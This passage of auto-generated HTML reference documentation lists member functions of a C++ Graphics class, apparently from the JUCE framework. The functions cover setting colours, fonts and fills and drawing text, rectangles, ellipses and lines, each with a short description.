valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ada6375a2e6bf68758a2191acb4d62c65">Graphics</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToDrawOnto)</td></tr> <tr class="memdesc:ada6375a2e6bf68758a2191acb4d62c65"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a <a class="el" href="classGraphics.html" title="A graphics context, used for drawing a component or image.">Graphics</a> object to draw directly onto the given image. <a href="#ada6375a2e6bf68758a2191acb4d62c65"></a><br/></td></tr> <tr class="separator:ada6375a2e6bf68758a2191acb4d62c65"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7841c9a961ac9bca33bd30ddf8066cdb"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a7841c9a961ac9bca33bd30ddf8066cdb">~Graphics</a> ()</td></tr> <tr class="memdesc:a7841c9a961ac9bca33bd30ddf8066cdb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a7841c9a961ac9bca33bd30ddf8066cdb"></a><br/></td></tr> <tr class="separator:a7841c9a961ac9bca33bd30ddf8066cdb"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9a944a0006b7277fda473f0b1b4f028f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a9a944a0006b7277fda473f0b1b4f028f">setColour</a> (<a class="el" href="classColour.html">Colour</a> newColour)</td></tr> <tr class="memdesc:a9a944a0006b7277fda473f0b1b4f028f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the current drawing colour. <a href="#a9a944a0006b7277fda473f0b1b4f028f"></a><br/></td></tr> <tr class="separator:a9a944a0006b7277fda473f0b1b4f028f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1ce91a31ec1258a73ace93b6c337dbb2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a1ce91a31ec1258a73ace93b6c337dbb2">setOpacity</a> (float newOpacity)</td></tr> <tr class="memdesc:a1ce91a31ec1258a73ace93b6c337dbb2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the opacity to use with the current colour. <a href="#a1ce91a31ec1258a73ace93b6c337dbb2"></a><br/></td></tr> <tr class="separator:a1ce91a31ec1258a73ace93b6c337dbb2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a57478bc2496ebb84696e5ba64b455965"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a57478bc2496ebb84696e5ba64b455965">setGradientFill</a> (const <a class="el" href="classColourGradient.html">ColourGradient</a> &amp;gradient)</td></tr> <tr class="memdesc:a57478bc2496ebb84696e5ba64b455965"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sets the context to use a gradient for its fill pattern. <a href="#a57478bc2496ebb84696e5ba64b455965"></a><br/></td></tr> <tr class="separator:a57478bc2496ebb84696e5ba64b455965"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a675cd4c4715165f0a0aec0bd8c3fe390"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a675cd4c4715165f0a0aec0bd8c3fe390">setTiledImageFill</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToUse, int anchorX, int anchorY, float opacity)</td></tr> <tr class="memdesc:a675cd4c4715165f0a0aec0bd8c3fe390"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sets the context to use a tiled image pattern for filling. <a href="#a675cd4c4715165f0a0aec0bd8c3fe390"></a><br/></td></tr> <tr class="separator:a675cd4c4715165f0a0aec0bd8c3fe390"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a763ea233d7b7c8e45e33c7ea8030ff48"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a763ea233d7b7c8e45e33c7ea8030ff48">setFillType</a> (const <a class="el" href="classFillType.html">FillType</a> &amp;newFill)</td></tr> <tr class="memdesc:a763ea233d7b7c8e45e33c7ea8030ff48"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the current fill settings. <a href="#a763ea233d7b7c8e45e33c7ea8030ff48"></a><br/></td></tr> <tr class="separator:a763ea233d7b7c8e45e33c7ea8030ff48"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1fbdb321975d90c45243027a61ac2be9"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a1fbdb321975d90c45243027a61ac2be9">setFont</a> (const <a class="el" href="classFont.html">Font</a> &amp;newFont)</td></tr> <tr class="memdesc:a1fbdb321975d90c45243027a61ac2be9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the font to use for subsequent text-drawing functions. <a href="#a1fbdb321975d90c45243027a61ac2be9"></a><br/></td></tr> <tr class="separator:a1fbdb321975d90c45243027a61ac2be9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8c9a73240eab843cbf93393956910e72"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a8c9a73240eab843cbf93393956910e72">setFont</a> (float newFontHeight)</td></tr> <tr class="memdesc:a8c9a73240eab843cbf93393956910e72"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the size of the currently-selected font. <a href="#a8c9a73240eab843cbf93393956910e72"></a><br/></td></tr> <tr class="separator:a8c9a73240eab843cbf93393956910e72"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abb972f0d801630b6e02d335cfa9da28a"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classFont.html">Font</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#abb972f0d801630b6e02d335cfa9da28a">getCurrentFont</a> () const </td></tr> <tr class="memdesc:abb972f0d801630b6e02d335cfa9da28a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the currently selected font. <a href="#abb972f0d801630b6e02d335cfa9da28a"></a><br/></td></tr> <tr class="separator:abb972f0d801630b6e02d335cfa9da28a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a26aeb5bf3f4b96e2734e89f0833dd074"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074">drawSingleLineText</a> (const <a class="el" href="classString.html">String</a> &amp;text, int startX, int baselineY, <a class="el" href="classJustification.html">Justification</a> justification=<a class="el" href="classJustification.html#a1f8c07756c56fe8f31ed44964e51bfbca56156bb2892e32febf8011af9c5da653">Justification::left</a>) const </td></tr> <tr class="memdesc:a26aeb5bf3f4b96e2734e89f0833dd074"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a one-line text string. <a href="#a26aeb5bf3f4b96e2734e89f0833dd074"></a><br/></td></tr> <tr class="separator:a26aeb5bf3f4b96e2734e89f0833dd074"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a37c017a9d2f32bcd677f61f5de97ab9a"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a">drawMultiLineText</a> (const <a class="el" href="classString.html">String</a> &amp;text, int startX, int baselineY, int maximumLineWidth) const </td></tr> <tr class="memdesc:a37c017a9d2f32bcd677f61f5de97ab9a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws text across multiple lines. <a href="#a37c017a9d2f32bcd677f61f5de97ab9a"></a><br/></td></tr> <tr class="separator:a37c017a9d2f32bcd677f61f5de97ab9a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6a2beaa33dfc054153510789338d5ba9"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a6a2beaa33dfc054153510789338d5ba9">drawText</a> (const <a class="el" href="classString.html">String</a> &amp;text, int x, int y, int width, int height, <a class="el" href="classJustification.html">Justification</a> justificationType, bool useEllipsesIfTooBig=true) const </td></tr> <tr class="memdesc:a6a2beaa33dfc054153510789338d5ba9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line of text within a specified rectangle. <a href="#a6a2beaa33dfc054153510789338d5ba9"></a><br/></td></tr> <tr class="separator:a6a2beaa33dfc054153510789338d5ba9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7cf3a37c54011ce2c27080fa7cde1204"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a7cf3a37c54011ce2c27080fa7cde1204">drawText</a> (const <a class="el" href="classString.html">String</a> &amp;text, const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;area, <a class="el" href="classJustification.html">Justification</a> justificationType, bool useEllipsesIfTooBig=true) const </td></tr> <tr class="memdesc:a7cf3a37c54011ce2c27080fa7cde1204"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line of text within a specified rectangle. <a href="#a7cf3a37c54011ce2c27080fa7cde1204"></a><br/></td></tr> <tr class="separator:a7cf3a37c54011ce2c27080fa7cde1204"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acc0040942866ca43d64c4c0cef6d7bec"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#acc0040942866ca43d64c4c0cef6d7bec">drawText</a> (const <a class="el" href="classString.html">String</a> &amp;text, const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;area, <a class="el" href="classJustification.html">Justification</a> justificationType, bool useEllipsesIfTooBig=true) const </td></tr> <tr class="memdesc:acc0040942866ca43d64c4c0cef6d7bec"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line of text within a specified rectangle. <a href="#acc0040942866ca43d64c4c0cef6d7bec"></a><br/></td></tr> <tr class="separator:acc0040942866ca43d64c4c0cef6d7bec"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae8e28ce4b7d0c63f0cd1f4e38dfc7151"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151">drawFittedText</a> (const <a class="el" href="classString.html">String</a> &amp;text, int x, int y, int width, int height, <a class="el" href="classJustification.html">Justification</a> justificationFlags, int maximumNumberOfLines, float minimumHorizontalScale=0.0f) const </td></tr> <tr class="memdesc:ae8e28ce4b7d0c63f0cd1f4e38dfc7151"><td class="mdescLeft">&#160;</td><td class="mdescRight">Tries to draw a text string inside a given space. <a href="#ae8e28ce4b7d0c63f0cd1f4e38dfc7151"></a><br/></td></tr> <tr class="separator:ae8e28ce4b7d0c63f0cd1f4e38dfc7151"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab44bf3829e9357d5eb61ac8a9d06aec6"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab44bf3829e9357d5eb61ac8a9d06aec6">drawFittedText</a> (const <a class="el" href="classString.html">String</a> &amp;text, const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;area, <a class="el" href="classJustification.html">Justification</a> justificationFlags, int maximumNumberOfLines, float minimumHorizontalScale=0.0f) const </td></tr> <tr class="memdesc:ab44bf3829e9357d5eb61ac8a9d06aec6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Tries to draw a text string inside a given space. <a href="#ab44bf3829e9357d5eb61ac8a9d06aec6"></a><br/></td></tr> <tr class="separator:ab44bf3829e9357d5eb61ac8a9d06aec6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a516a7795e6e0c6c70eb982a83ea0b8c3"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a516a7795e6e0c6c70eb982a83ea0b8c3">fillAll</a> () const </td></tr> <tr class="memdesc:a516a7795e6e0c6c70eb982a83ea0b8c3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills the context's entire clip region with the current colour or brush. <a href="#a516a7795e6e0c6c70eb982a83ea0b8c3"></a><br/></td></tr> <tr class="separator:a516a7795e6e0c6c70eb982a83ea0b8c3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac31f52c617f614ab85afa99319eb8110"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ac31f52c617f614ab85afa99319eb8110">fillAll</a> (<a class="el" href="classColour.html">Colour</a> colourToUse) const </td></tr> <tr class="memdesc:ac31f52c617f614ab85afa99319eb8110"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills the context's entire clip region with a given colour. <a href="#ac31f52c617f614ab85afa99319eb8110"></a><br/></td></tr> <tr class="separator:ac31f52c617f614ab85afa99319eb8110"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9ff78524c757a302ad8b9cbc4c7ba851"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851">fillRect</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;rectangle) const </td></tr> <tr class="memdesc:a9ff78524c757a302ad8b9cbc4c7ba851"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a rectangle with the current colour or brush. <a href="#a9ff78524c757a302ad8b9cbc4c7ba851"></a><br/></td></tr> <tr class="separator:a9ff78524c757a302ad8b9cbc4c7ba851"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab4959b11dd0a06c18b8c496209568f0f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab4959b11dd0a06c18b8c496209568f0f">fillRect</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;rectangle) const </td></tr> <tr class="memdesc:ab4959b11dd0a06c18b8c496209568f0f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a rectangle with the current colour or brush. <a href="#ab4959b11dd0a06c18b8c496209568f0f"></a><br/></td></tr> <tr class="separator:ab4959b11dd0a06c18b8c496209568f0f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac2202ef993b53d77d8646ed4ce3ea9d1"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ac2202ef993b53d77d8646ed4ce3ea9d1">fillRect</a> (int x, int y, int width, int height) const </td></tr> <tr class="memdesc:ac2202ef993b53d77d8646ed4ce3ea9d1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a rectangle with the current colour or brush. <a href="#ac2202ef993b53d77d8646ed4ce3ea9d1"></a><br/></td></tr> <tr class="separator:ac2202ef993b53d77d8646ed4ce3ea9d1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a018bffc13a318cb5e59d29b258313b8b"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a018bffc13a318cb5e59d29b258313b8b">fillRect</a> (float x, float y, float width, float height) const </td></tr> <tr class="memdesc:a018bffc13a318cb5e59d29b258313b8b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a rectangle with the current colour or brush. <a href="#a018bffc13a318cb5e59d29b258313b8b"></a><br/></td></tr> <tr class="separator:a018bffc13a318cb5e59d29b258313b8b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2aef23d8a0c15d4e44a43bf7f6bf3598"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a2aef23d8a0c15d4e44a43bf7f6bf3598">fillRectList</a> (const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; float &gt; &amp;rectangles) const </td></tr> <tr class="memdesc:a2aef23d8a0c15d4e44a43bf7f6bf3598"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a set of rectangles using the current colour or brush. <a href="#a2aef23d8a0c15d4e44a43bf7f6bf3598"></a><br/></td></tr> <tr class="separator:a2aef23d8a0c15d4e44a43bf7f6bf3598"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a25b0360ba453ab7f8d952a4b31a9fcd4"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a25b0360ba453ab7f8d952a4b31a9fcd4">fillRectList</a> (const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; int &gt; &amp;rectangles) const </td></tr> <tr class="memdesc:a25b0360ba453ab7f8d952a4b31a9fcd4"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a set of rectangles using the current colour or brush. <a href="#a25b0360ba453ab7f8d952a4b31a9fcd4"></a><br/></td></tr> <tr class="separator:a25b0360ba453ab7f8d952a4b31a9fcd4"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1049a2dae8a1ae3e5e57238f2fd36a84"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84">fillRoundedRectangle</a> (float x, float y, float width, float height, float cornerSize) const </td></tr> <tr class="memdesc:a1049a2dae8a1ae3e5e57238f2fd36a84"><td class="mdescLeft">&#160;</td><td class="mdescRight">Uses the current colour or brush to fill a rectangle with rounded corners. <a href="#a1049a2dae8a1ae3e5e57238f2fd36a84"></a><br/></td></tr> <tr class="separator:a1049a2dae8a1ae3e5e57238f2fd36a84"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afc06f32c228086e55876184176314bd1"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#afc06f32c228086e55876184176314bd1">fillRoundedRectangle</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;rectangle, float cornerSize) const </td></tr> <tr class="memdesc:afc06f32c228086e55876184176314bd1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Uses the current colour or brush to fill a rectangle with rounded corners. <a href="#afc06f32c228086e55876184176314bd1"></a><br/></td></tr> <tr class="separator:afc06f32c228086e55876184176314bd1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e">fillCheckerBoard</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;area, int checkWidth, int checkHeight, <a class="el" href="classColour.html">Colour</a> colour1, <a class="el" href="classColour.html">Colour</a> colour2) const </td></tr> <tr class="memdesc:ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a rectangle with a checkerboard pattern, alternating between two colours. <a href="#ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e"></a><br/></td></tr> <tr class="separator:ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a28baf90f8e11ec6f96c349f45e09a9d0"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a28baf90f8e11ec6f96c349f45e09a9d0">drawRect</a> (int x, int y, int width, int height, int lineThickness=1) const </td></tr> <tr class="memdesc:a28baf90f8e11ec6f96c349f45e09a9d0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a rectangular outline, using the current colour or brush. <a href="#a28baf90f8e11ec6f96c349f45e09a9d0"></a><br/></td></tr> <tr class="separator:a28baf90f8e11ec6f96c349f45e09a9d0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7b8a15c73c5d797cd169852224236f4f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a7b8a15c73c5d797cd169852224236f4f">drawRect</a> (float x, float y, float width, float height, float lineThickness=1.0f) const </td></tr> <tr class="memdesc:a7b8a15c73c5d797cd169852224236f4f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a rectangular outline, using the current colour or brush. <a href="#a7b8a15c73c5d797cd169852224236f4f"></a><br/></td></tr> <tr class="separator:a7b8a15c73c5d797cd169852224236f4f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a88e7c28b48c3f2e9e2c9df7d2571908f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a88e7c28b48c3f2e9e2c9df7d2571908f">drawRect</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;rectangle, int lineThickness=1) const </td></tr> <tr class="memdesc:a88e7c28b48c3f2e9e2c9df7d2571908f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a rectangular outline, using the current colour or brush. <a href="#a88e7c28b48c3f2e9e2c9df7d2571908f"></a><br/></td></tr> <tr class="separator:a88e7c28b48c3f2e9e2c9df7d2571908f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af9de9561eb82103354adaa6286ddd066"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#af9de9561eb82103354adaa6286ddd066">drawRect</a> (<a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; rectangle, float lineThickness=1.0f) const </td></tr> <tr class="memdesc:af9de9561eb82103354adaa6286ddd066"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a rectangular outline, using the current colour or brush. <a href="#af9de9561eb82103354adaa6286ddd066"></a><br/></td></tr> <tr class="separator:af9de9561eb82103354adaa6286ddd066"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a78541e36136eb040c4b8c81d4b8db8dd"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a78541e36136eb040c4b8c81d4b8db8dd">drawRoundedRectangle</a> (float x, float y, float width, float height, float cornerSize, float lineThickness) const </td></tr> <tr class="memdesc:a78541e36136eb040c4b8c81d4b8db8dd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Uses the current colour or brush to draw the outline of a rectangle with rounded corners. <a href="#a78541e36136eb040c4b8c81d4b8db8dd"></a><br/></td></tr> <tr class="separator:a78541e36136eb040c4b8c81d4b8db8dd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a91706e86b7120523346fee8f2161d48f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a91706e86b7120523346fee8f2161d48f">drawRoundedRectangle</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;rectangle, float cornerSize, float lineThickness) const </td></tr> <tr class="memdesc:a91706e86b7120523346fee8f2161d48f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Uses the current colour or brush to draw the outline of a rectangle with rounded corners. <a href="#a91706e86b7120523346fee8f2161d48f"></a><br/></td></tr> <tr class="separator:a91706e86b7120523346fee8f2161d48f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a69e70db1afc03d58f9055f8f45d8e5d1"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a69e70db1afc03d58f9055f8f45d8e5d1">setPixel</a> (int x, int y) const </td></tr> <tr class="memdesc:a69e70db1afc03d58f9055f8f45d8e5d1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a 1x1 pixel using the current colour or brush. <a href="#a69e70db1afc03d58f9055f8f45d8e5d1"></a><br/></td></tr> <tr class="separator:a69e70db1afc03d58f9055f8f45d8e5d1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab6fdfd1cb32b32d52b6b30df36321f70"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab6fdfd1cb32b32d52b6b30df36321f70">fillEllipse</a> (float x, float y, float width, float height) const </td></tr> <tr class="memdesc:ab6fdfd1cb32b32d52b6b30df36321f70"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills an ellipse with the current colour or brush. <a href="#ab6fdfd1cb32b32d52b6b30df36321f70"></a><br/></td></tr> <tr class="separator:ab6fdfd1cb32b32d52b6b30df36321f70"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4f58ce68f75ec835a4863e756ec11bed"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a4f58ce68f75ec835a4863e756ec11bed">fillEllipse</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;area) const </td></tr> <tr class="memdesc:a4f58ce68f75ec835a4863e756ec11bed"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills an ellipse with the current colour or brush. <a href="#a4f58ce68f75ec835a4863e756ec11bed"></a><br/></td></tr> <tr class="separator:a4f58ce68f75ec835a4863e756ec11bed"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac88110d5407539aa1be841a89d5170b0"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ac88110d5407539aa1be841a89d5170b0">drawEllipse</a> (float x, float y, float width, float height, float lineThickness) const </td></tr> <tr class="memdesc:ac88110d5407539aa1be841a89d5170b0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws an elliptical stroke using the current colour or brush. <a href="#ac88110d5407539aa1be841a89d5170b0"></a><br/></td></tr> <tr class="separator:ac88110d5407539aa1be841a89d5170b0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a29c31898f9f27de837579089f470eb7f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a29c31898f9f27de837579089f470eb7f">drawEllipse</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;area, float lineThickness) const </td></tr> <tr class="memdesc:a29c31898f9f27de837579089f470eb7f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws an elliptical stroke using the current colour or brush. <a href="#a29c31898f9f27de837579089f470eb7f"></a><br/></td></tr> <tr class="separator:a29c31898f9f27de837579089f470eb7f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0911bf63fd6c0d3e35b2b701fcbc7728"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a0911bf63fd6c0d3e35b2b701fcbc7728">drawLine</a> (float startX, float startY, float endX, float endY) const </td></tr> <tr class="memdesc:a0911bf63fd6c0d3e35b2b701fcbc7728"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line between two points. <a href="#a0911bf63fd6c0d3e35b2b701fcbc7728"></a><br/></td></tr> <tr class="separator:a0911bf63fd6c0d3e35b2b701fcbc7728"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a664643f9fef3c8b37b0620c28ec4bb76"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a664643f9fef3c8b37b0620c28ec4bb76">drawLine</a> (float startX, float startY, float endX, float endY, float lineThickness) const </td></tr> <tr class="memdesc:a664643f9fef3c8b37b0620c28ec4bb76"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line between two points with a given thickness. <a href="#a664643f9fef3c8b37b0620c28ec4bb76"></a><br/></td></tr> <tr class="separator:a664643f9fef3c8b37b0620c28ec4bb76"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a94cf6a3a058ad1a36dc836b34916ef0d"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a94cf6a3a058ad1a36dc836b34916ef0d">drawLine</a> (const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;line) const </td></tr> <tr class="memdesc:a94cf6a3a058ad1a36dc836b34916ef0d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line between two points. <a href="#a94cf6a3a058ad1a36dc836b34916ef0d"></a><br/></td></tr> <tr class="separator:a94cf6a3a058ad1a36dc836b34916ef0d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ace7c180c66f119399acb69ad966057e3"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ace7c180c66f119399acb69ad966057e3">drawLine</a> (const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;line, float lineThickness) const </td></tr> <tr class="memdesc:ace7c180c66f119399acb69ad966057e3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line between two points with a given thickness. <a href="#ace7c180c66f119399acb69ad966057e3"></a><br/></td></tr> <tr class="separator:ace7c180c66f119399acb69ad966057e3"><td class="memSeparator" 